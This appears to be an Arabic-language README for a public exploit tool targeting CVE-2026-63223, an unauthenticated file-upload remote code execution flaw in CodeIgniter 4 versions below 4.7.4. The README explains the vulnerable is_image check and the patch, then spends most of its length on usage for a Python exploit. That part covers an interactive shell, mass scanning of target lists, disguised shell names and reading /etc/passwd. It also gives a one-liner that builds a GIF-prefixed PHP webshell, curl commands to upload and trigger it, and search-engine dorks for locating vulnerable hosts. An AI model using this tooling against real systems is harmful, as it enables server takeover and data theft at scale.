
CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in ثغرة تنفيذ التعليمات البرمجية عن بُعد في رفع الملفات. تجاوز بايتات السحر (getExtension مقابل getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) شديدة الخطورة (CVSS 9.8) وبدون مصادقة في CodeIgniter 4، وهو إطار عمل ويب PHP كامل المكدس، وتؤثر على الإصدارات الأقدم من 4.7.4.
تستغل الثغرة قاعدتي التحقق من رفع الملفات is_image و، اللتين تفحصان (البايتات السحرية) دون التحقق من امتداد اسم الملف المقدم من العميل. يضيف المهاجم بايتات سحرية لصورة (ترويسات GIF89a أو JPEG أو PNG) إلى كود PHP، ويسمي الملف ، فيجتاز التحقق ويحقق تنفيذًا عن بُعد للتعليمات البرمجية (RCE) عندما يستقر الملف في دليل يمكن الوصول إليه عبر الويب وينفّذ PHP.
mime_inshell.phpCVSS: 9.8 حرجة —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hتاريخ الاكتشاف: 31 يوليو 2026 | النشرة الأمنية: GHSA-mmj4-63m4-r6h5 تم الإصلاح في: CodeIgniter 4 الإصدار v4.7.4
| الإصدار | الحالة |
|---|---|
| < 4.7.4 | معرّض للخطر |
| 4.7.4+ | مصحّح |
CWE: CWE-434 — رفع غير مقيد لملف من نوع خطير PoC مرجعي: imbas007/CVE-2026-63223-POC
قاعدة التحقق is_image في CodeIgniter 4 تُمرّر getExtension() — الذي يُرجع الامتداد المستمد من البايتات السحرية (مثل gif) — عبر Mimes::guessTypeFromExtension() لتحديد ما إذا كان الملف صورة. أما امتداد اسم الملف المقدم من العميل (getClientExtension()، مثل php) فلا يتم فحصه أبدًا:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — الأول مستمد من البايتات السحرية (gif)، والثاني من اسم ملف العميل (php)is_image لأن Mimes::guessTypeFromExtension("gif") يُرجع image/gif$file->move($path, $file->getClientName()) يحافظ على امتداد .php1. يُنشئ المهاجم قشرة ويب PHP بترويسة GIF89a
→ يُبلّغ file(1) عن "GIF image data"
2. يرسل طلب POST متعدد الأجزاء إلى نقطة النهاية المعرضة (/upload/avatar)
→ يتحقق is_image: image/gif → نجح
→ يُحفظ الملف باسم shell.php في /uploads/
3. GET /uploads/shell.php?c=id
→ Apache يمرر .php إلى PHP-FPM → ينفّذ PHP
→ يُخرج GIF89a كنص عادي، ثم يُنفَّذ كود <?php
4. RCE بصلاحيات www-data
يضيف التصحيح الدالة hasInvalidImageClientExtension() — التي تفحص الآن امتداد العميل أيضًا:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
التغيير الجوهري: يتحقق is_image الآن من كل من getExtension() (المستمد من المحتوى، من أجل فحص الصورة الفعلي) و getClientExtension() (المقدم من العميل، لرفض الامتدادات غير الصورية مثل .php).
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target عنوان URL لهدف واحد
-f, --file قائمة الأهداف، هدف واحد في كل سطر
-e, --endpoint نقطة نهاية الرفع المعرضة (الافتراضي: /upload/avatar)
--field FIELD اسم حقل نموذج الرفع (الافتراضي: avatar)
--method {gif,jpg,png} تمويه البايتات السحرية (الافتراضي: gif)
--filename NAME اسم ملف القشرة (الافتراضي: shell.php)
-c, --command أمر القشرة المراد تنفيذه (الافتراضي: id)
--shell وضع القشرة شبه التفاعلية
-o, --output حفظ عناوين RCE في ملف
--threads عدد العاملين المتزامنين (الافتراضي: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:
.envلا حاجة إلى أي حساب أو مصادقة — نقاط نهاية الرفع التي تستخدم is_image/mime_in دون ext_in معرّضة للخطر افتراضيًا.
is_image/mime_in بقاعدة التحقق ext_inreadfile()getRandomName()لأغراض تعليمية ولاختبارات مصرّح بها فقط.
لا تستخدم هذه الأداة ضد أي أنظمة دون إذن صريح. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المورد | الرابط |
|---|---|
| نشرة GitHub الأمنية | GHSA-mmj4-63m4-r6h5 |
| PoC مرجعي | imbas007/CVE-2026-63223-POC |
| سجل NVD | CVE-2026-63223 |
| CodeIgniter v4.7.4 | سجل التغييرات |
| CWE-434 | الرفع غير المقيد |
ليست تابعة لمؤسسة CodeIgniter.